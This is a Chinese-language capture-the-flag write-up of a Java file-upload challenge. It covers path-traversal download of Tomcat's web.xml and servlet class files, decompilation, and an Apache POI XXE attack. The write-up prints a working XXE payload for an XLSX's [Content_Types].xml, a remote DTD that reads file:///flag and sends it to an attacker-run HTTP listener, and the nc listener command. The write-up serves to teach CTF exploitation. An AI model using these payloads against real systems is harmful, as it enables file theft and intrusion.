一、赛题截图
二、做题思路
(1)查看源码,唯一有点用信息:./UploadServlet.
(2)虽然题目名称和查看源码./UploadServlet都告诉这是一个JAVA程序,但建议还是访问/robots.txt,碰碰运气。
(3)随便上传一个dog.png图片,用Burpsuite抓包,发现新的URL地址:/DownloadServlet?filename=a6c672c9-a74c-4701-abfc-97d68e3c681d_dog.png
(4)Burpsuite拦截下载文件请求URL,访问DownloadServlet?filename=…/确定存在文件包含漏洞,并且泄露tomcat的绝对路径。
(5)文件包含漏洞+知道tomcat绝对路径,第一个想到的是查看WEB-INF/web.xml,访问DownloadServlet?filename=…/…/…/…/…/…/…/…/…/usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml
(6)通过配置文件,确定.class文件路径:WEB-INF/classes/cn/abc/servlet/,然后下载三个class文件:
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
(7)使用jd-gui-1.6.6.jar进行反编译
(8)检查源码
DownloadServlet.java过滤flag关键字禁止下载
UploadServlet.java有对excel-***.xlsx文件的判断,猜测是Apache POI XML外部实体漏洞(参考)
(9)构造上传文件
① 首先,本地创建excel-aaa.xlsx文件,右键解压文件
② 编辑文件[Content_Types].xml,在<?xml version="1.0" encoding="UTF-8" standalone="yes"?>与<Types xmlns=“http://schemas.openxmlformats.org/package/2006/content-types”>之间添加内容:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP/file.dtd">
%remote;%int;%send;
]>
③ 添加压缩文件为excel-aaa.xlsx
(10)构造远程监控
① 进入远程服务器WEB根目录,创建文件file.dtd,添加内容:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://0.0.0.0:7777?popko=%file;'>">
② 启动监控 : nc -lvvp 7777
(11)一切准备就绪,上传excel-aaa.xlsx文件
查看nc监听结果,得到flag
三、总结
(1)文件包含读取文件
(2)POI XXE注入
参考:
https://www.cnblogs.com/W4nder/p/12866365.html
https://blog.csdn.net/pop364/article/details/106082723
http://shangdixinxi.com/detail-1419518.html
https://p1htmlkernalweb.mybluemix.net/articles/2020%E7%BD%91%E9%BC%8E%E6%9D%AFJava%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0wp_4620427_csdn.html